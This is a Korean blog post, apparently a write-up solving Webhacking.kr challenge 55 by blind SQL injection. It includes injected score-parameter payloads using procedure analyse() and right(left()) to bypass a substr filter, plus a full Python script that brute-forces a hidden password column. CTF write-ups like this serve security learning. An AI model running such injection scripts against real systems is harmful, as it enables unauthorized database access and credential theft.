첫화면은 그냥 마우스가 움직이면 변하는 숫자들이다.


rank로 들어가 보면 여러 랭킹이 많이 있다.

그리고 숫자를 클릭해 보면 그냥 이렇게 화면에 id가 맨위에 뜬다.


소스는 별 볼일 없지만

hint가 있다.

답이 소문자 이고 id=ip라고만 되어있다.

그래서

procedure analyse()로 칼럼의 명을 알아내 보니

challenge_55_game.ip가 나온다.

하지만 우리는 password를 알아내야 하기 때문에

limit 문을 써서

score=0%20limit%202,1%20procedure%20analyse()를 해 보면

pAsSw0RdzzzZ라는 것을 알 수 있다.


또 참일 때에는 local host

거짓일 때에는  gurwodla이 나오는 것을 볼 수 있다.


하지만 substr문은 필터링이 되어 있으므로

right(letf())문을 써서 알아보기로 한다.


import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=내 쿠키값'}

    for k in range(1,30):

        req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(k),headers=head)

        data = urllib.request.urlopen(req).read()       

        data = data.decode('UTF-8')

        find = re.findall("localhost",data)

        print(k)

        if find:

            print("password length :",k)

            break

        

    for i in range(1,k+1):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,"+str(i)+"),1)="+hex(j),headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("localhost",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)

   

이 파이썬으로 짠 소스를 돌리면

답이 나온다.

이것을 auth에 인증해 주면

55번도 클리어!



'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19

+ Recent posts